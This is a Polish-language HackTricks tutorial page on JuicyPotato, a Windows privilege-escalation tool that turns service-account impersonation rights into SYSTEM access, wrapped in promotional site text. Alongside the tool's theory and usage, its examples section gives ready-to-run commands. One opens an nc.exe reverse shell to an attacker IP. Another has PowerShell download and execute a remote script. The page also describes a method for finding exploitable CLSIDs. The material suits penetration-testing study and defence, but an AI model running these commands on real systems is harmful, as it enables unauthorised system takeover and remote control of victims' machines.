11 KiB
JuicyPotato
Rozpocznij naukę hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
- Czy pracujesz w firmie z branży cyberbezpieczeństwa? Chcesz zobaczyć, jak Twoja firma jest reklamowana na HackTricks? lub chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź PLANY SUBSKRYPCYJNE!
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź mnie na Twitterze 🐦@carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium hacktricks i repozytorium hacktricks-cloud.
WhiteIntel
WhiteIntel to wyszukiwarka zasilana dark webem, która oferuje darmowe funkcje sprawdzania, czy firma lub jej klienci zostali skompromitowani przez złośliwe oprogramowanie kradnące dane.
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:
{% embed url="https://whiteintel.io" %}
{% hint style="warning" %}
JuicyPotato nie działa na Windows Server 2019 i Windows 10 od wersji 1809. Jednak PrintSpoofer, RoguePotato, SharpEfsPotato można użyć do wykorzystania tych samych uprawnień i uzyskania dostępu na poziomie NT AUTHORITY\SYSTEM
. Sprawdź:
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}
Juicy Potato (wykorzystanie złotych uprawnień)
Wersja ulepszona RottenPotatoNG, z odrobiną soku, czyli inne narzędzie do eskalacji uprawnień lokalnych, z kont usług systemu Windows do NT AUTHORITY\SYSTEM
Możesz pobrać juicypotato z https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Podsumowanie
RottenPotatoNG i jego warianty wykorzystują łańcuch eskalacji uprawnień oparty na usłudze BITS
service mającą słuchacza MiTM na 127.0.0.1:6666
i posiadając uprawnienia SeImpersonate
lub SeAssignPrimaryToken
. Podczas przeglądu budowy systemu Windows znaleźliśmy konfigurację, w której BITS
został celowo wyłączony, a port 6666
był zajęty.
Zdecydowaliśmy się zbrojnić RottenPotatoNG: Witaj Juicy Potato.
Dla teorii, zobacz Rotten Potato - Eskalacja uprawnień z kont usługowych do SYSTEM i śledź łańcuch linków i odnośników.
Odkryliśmy, że oprócz BITS
istnieje kilka serwerów COM, które możemy wykorzystać. Muszą one po prostu:
- być instancjonowalne przez bieżącego użytkownika, zwykle „użytkownika usługi”, który ma uprawnienia do podszycia się
- implementować interfejs
IMarshal
- działać jako użytkownik z podwyższonymi uprawnieniami (SYSTEM, Administrator, ...)
Po przeprowadzeniu testów uzyskaliśmy i przetestowaliśmy obszerną listę interesujących CLSIDów na kilku wersjach systemu Windows.
Szczegóły Juicy
JuicyPotato pozwala Ci:
- Wybierz CLSID wybierz dowolny CLSID, który chcesz. Tutaj znajdziesz listę zorganizowaną według systemu operacyjnego.
- Port nasłuchiwania COM zdefiniuj preferowany port nasłuchiwania COM (zamiast zahardkodowanego 6666)
- Adres IP nasłuchiwania COM zwiąż serwer z dowolnym adresem IP
- Tryb tworzenia procesu w zależności od uprawnień podszycanego użytkownika możesz wybrać spośród:
CreateProcessWithToken
(wymagaSeImpersonate
)CreateProcessAsUser
(wymagaSeAssignPrimaryToken
)oba
- Proces do uruchomienia uruchom wykonywalny plik lub skrypt, jeśli eksploatacja się powiedzie
- Argument procesu dostosuj argumenty uruchamianego procesu
- Adres serwera RPC dla dyskretnego podejścia możesz uwierzytelnić się na zewnętrznym serwerze RPC
- Port serwera RPC przydatny, jeśli chcesz uwierzytelniać się na zewnętrznym serwerze, a zapora blokuje port
135
... - Tryb TEST głównie do celów testowych, czyli testowania CLSIDów. Tworzy DCOM i drukuje użytkownika tokena. Zobacz tutaj testowanie
Użycie
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Podsumowanie
Jeśli użytkownik ma uprawnienia SeImpersonate
lub SeAssignPrimaryToken
, to jesteś SYSTEM.
Prawie niemożliwe jest zapobieżenie nadużyciom wszystkich tych serwerów COM. Możesz pomyśleć o zmianie uprawnień tych obiektów za pomocą DCOMCNFG
, ale powodzenia, to będzie wyzwanie.
Rzeczywiste rozwiązanie polega na ochronie kont i aplikacji, które działają pod kontami * SERVICE
. Zatrzymanie DCOM
z pewnością ograniczyłoby to wykorzystanie, ale mogłoby to poważnie wpłynąć na działanie systemu operacyjnego.
Źródło: http://ohpe.it/juicy-potato/
Przykłady
Uwaga: Odwiedź tę stronę w celu uzyskania listy CLSID do wypróbowania.
Uzyskaj odwrócony shell nc.exe
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell odwrócony
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Uruchom nowe CMD (jeśli masz dostęp RDP)
Problemy z CLSID
Często domyślne CLSID, które używa JuicyPotato, nie działa i eksploatacja zawodzi. Zazwyczaj wymaga kilku prób, aby znaleźć działający CLSID. Aby uzyskać listę CLSID do wypróbowania dla określonego systemu operacyjnego, powinieneś odwiedzić tę stronę:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
Sprawdzanie CLSID
Najpierw będziesz potrzebować kilku plików wykonywalnych oprócz juicypotato.exe.
Pobierz Join-Object.ps1 i załaduj go do swojej sesji PS, a następnie pobierz i wykonaj GetCLSID.ps1. Ten skrypt utworzy listę możliwych CLSID do przetestowania.
Następnie pobierz test_clsid.bat (zmień ścieżkę do listy CLSID i do pliku wykonywalnego juicypotato) i wykonaj go. Zacznie próbować każdego CLSID, a gdy numer portu się zmieni, oznacza to, że CLSID zadziałał.
Sprawdź działające CLSID korzystając z parametru -c
Odnośniki
WhiteIntel
WhiteIntel to wyszukiwarka zasilana dark-webem, która oferuje darmowe funkcje do sprawdzania, czy firma lub jej klienci nie zostali skompromitowani przez złośliwe oprogramowanie kradnące informacje.
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:
{% embed url="https://whiteintel.io" %}
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
- Czy pracujesz w firmie cyberbezpieczeństwa? Chcesz zobaczyć swoją firmę reklamowaną w HackTricks? lub chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź PLANY SUBSKRYPCYJNE!
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź mnie na Twitterze 🐦@carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium hacktricks i repozytorium hacktricks-cloud.